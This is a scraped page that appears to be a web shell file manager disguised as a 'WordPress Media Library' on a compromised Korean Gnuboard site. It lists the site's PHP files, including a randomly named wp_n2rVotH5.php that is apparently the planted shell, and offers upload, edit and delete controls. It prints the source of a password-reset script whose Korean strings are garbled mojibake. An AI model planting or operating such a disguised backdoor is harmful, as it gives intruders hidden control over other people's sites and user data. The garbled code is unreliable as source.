โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: password_lost2.php
Size: 4.12 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); include_once(G5_CAPTCHA_PATH.'/captcha.lib.php'); include_once(G5_LIB_PATH.'/mailer.lib.php'); if ($is_member) { alert_close('์ด๋ฏธ ๋ก๊ทธ์ธ์ค์ ๋๋ค.', G5_URL); } if (!chk_captcha()) { alert('์๋๋ฑ๋ก๋ฐฉ์ง ์ซ์๊ฐ ํ๋ ธ์ต๋๋ค.'); } $email = get_email_address(trim($_POST['mb_email'])); if (!$email) alert_close('๋ฉ์ผ์ฃผ์ ์ค๋ฅ์ ๋๋ค.'); $sql = " select count(*) as cnt from {$g5['member_table']} where mb_email = '$email' "; $row = sql_fetch($sql); if ($row['cnt'] > 1) alert('๋์ผํ ๋ฉ์ผ์ฃผ์๊ฐ 2๊ฐ ์ด์ ์กด์ฌํฉ๋๋ค.\\n\\n๊ด๋ฆฌ์์๊ฒ ๋ฌธ์ํ์ฌ ์ฃผ์ญ์์ค.'); $sql = " select mb_no, mb_id, mb_name, mb_nick, mb_email, mb_datetime, mb_leave_date from {$g5['member_table']} where mb_email = '$email' "; $mb = sql_fetch($sql); if (!$mb['mb_id'] || $mb['mb_leave_date']) alert('์กด์ฌํ์ง ์๋ ํ์์ ๋๋ค.'); else if (is_admin($mb['mb_id'])) alert('๊ด๋ฆฌ์ ์์ด๋๋ ์ ๊ทผ ๋ถ๊ฐํฉ๋๋ค.'); // ์์๋น๋ฐ๋ฒํธ ๋ฐ๊ธ $change_password = rand(100000, 999999); $mb_lost_certify = get_encrypt_string($change_password); // ์ด๋ ํ ํ์์ ๋ณด๋ ํฌํจ๋์ง ์์ ์ผํ์ฉ ๋์๋ฅผ ์์ฑํ์ฌ ์ธ์ฆ์ ์ฌ์ฉ $mb_nonce = md5(pack('V*', rand(), rand(), rand(), rand())); // ์์๋น๋ฐ๋ฒํธ์ ๋์๋ฅผ mb_lost_certify ํ๋์ ์ ์ฅ $sql = " update {$g5['member_table']} set mb_lost_certify = '$mb_nonce $mb_lost_certify' where mb_id = '{$mb['mb_id']}' "; sql_query($sql); // ์ธ์ฆ ๋งํฌ ์์ฑ $href = G5_BBS_URL.'/password_lost_certify.php?mb_no='.$mb['mb_no'].'&mb_nonce='.$mb_nonce; $subject = "[".$config['cf_title']."] ์์ฒญํ์ ํ์์ ๋ณด ์ฐพ๊ธฐ ์๋ด ๋ฉ์ผ์ ๋๋ค."; $content = ""; $content .= '<div style="margin:30px auto;width:600px;border:10px solid #f7f7f7">'; $content .= '<div style="border:1px solid #dedede">'; $content .= '<h1 style="padding:30px 30px 0;background:#f7f7f7;color:#555;font-size:1.4em">'; $content .= 'ํ์์ ๋ณด ์ฐพ๊ธฐ ์๋ด'; $content .= '</h1>'; $content .= '<span style="display:block;padding:10px 30px 30px;background:#f7f7f7;text-align:right">'; $content .= '<a href="'.G5_URL.'" target="_blank">'.$config['cf_title'].'</a>'; $content .= '</span>'; $content .= '<p style="margin:20px 0 0;padding:30px 30px 30px;border-bottom:1px solid #eee;line-height:1.7em">'; $content .= addslashes($mb['mb_name'])." (".addslashes($mb['mb_nick']).")"." ํ์๋์ ".G5_TIME_YMDHIS." ์ ํ์์ ๋ณด ์ฐพ๊ธฐ ์์ฒญ์ ํ์ จ์ต๋๋ค.<br>"; $content .= '์ ํฌ ์ฌ์ดํธ๋ ๊ด๋ฆฌ์๋ผ๋ ํ์๋์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ ์๊ธฐ ๋๋ฌธ์, ๋น๋ฐ๋ฒํธ๋ฅผ ์๋ ค๋๋ฆฌ๋ ๋์ ์๋ก์ด ๋น๋ฐ๋ฒํธ๋ฅผ ์์ฑํ์ฌ ์๋ด ํด๋๋ฆฌ๊ณ ์์ต๋๋ค.<br>'; $content .= '์๋์์ ๋ณ๊ฒฝ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ธํ์ ํ, <span style="color:#ff3061"><strong>๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ</strong> ๋งํฌ๋ฅผ ํด๋ฆญ ํ์ญ์์ค.</span><br>'; $content .= '๋น๋ฐ๋ฒํธ๊ฐ ๋ณ๊ฒฝ๋์๋ค๋ ์ธ์ฆ ๋ฉ์ธ์ง๊ฐ ์ถ๋ ฅ๋๋ฉด, ํํ์ด์ง์์ ํ์์์ด๋์ ๋ณ๊ฒฝ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ์๊ณ ๋ก๊ทธ์ธ ํ์ญ์์ค.<br>'; $content .= '๋ก๊ทธ์ธ ํ์๋ ์ ๋ณด์์ ๋ฉ๋ด์์ ์๋ก์ด ๋น๋ฐ๋ฒํธ๋ก ๋ณ๊ฒฝํด ์ฃผ์ญ์์ค.'; $content .= '</p>'; $content .= '<p style="margin:0;padding:30px 30px 30px;border-bottom:1px solid #eee;line-height:1.7em">'; $content .= '<span style="display:inline-block;width:100px">ํ์์์ด๋</span> '.$mb['mb_id'].'<br>'; $content .= '<span style="display:inline-block;width:100px">๋ณ๊ฒฝ๋ ๋น๋ฐ๋ฒํธ</span> <strong style="color:#ff3061">'.$change_password.'</strong>'; $content .= '</p>'; $content .= '<a href="'.$href.'" target="_blank" style="display:block;padding:30px 0;background:#484848;color:#fff;text-decoration:none;text-align:center">๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ</a>'; $content .= '</div>'; $content .= '</div>'; mailer($config['cf_admin_email_name'], $config['cf_admin_email'], $mb['mb_email'], $subject, $content, 1); run_event('password_lost2_after', $mb, $mb_nonce, $mb_lost_certify); alert_close($email.' ๋ฉ์ผ๋ก ํ์์์ด๋์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ธ์ฆํ ์ ์๋ ๋ฉ์ผ์ด ๋ฐ์ก ๋์์ต๋๋ค.\\n\\n๋ฉ์ผ์ ํ์ธํ์ฌ ์ฃผ์ญ์์ค.'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete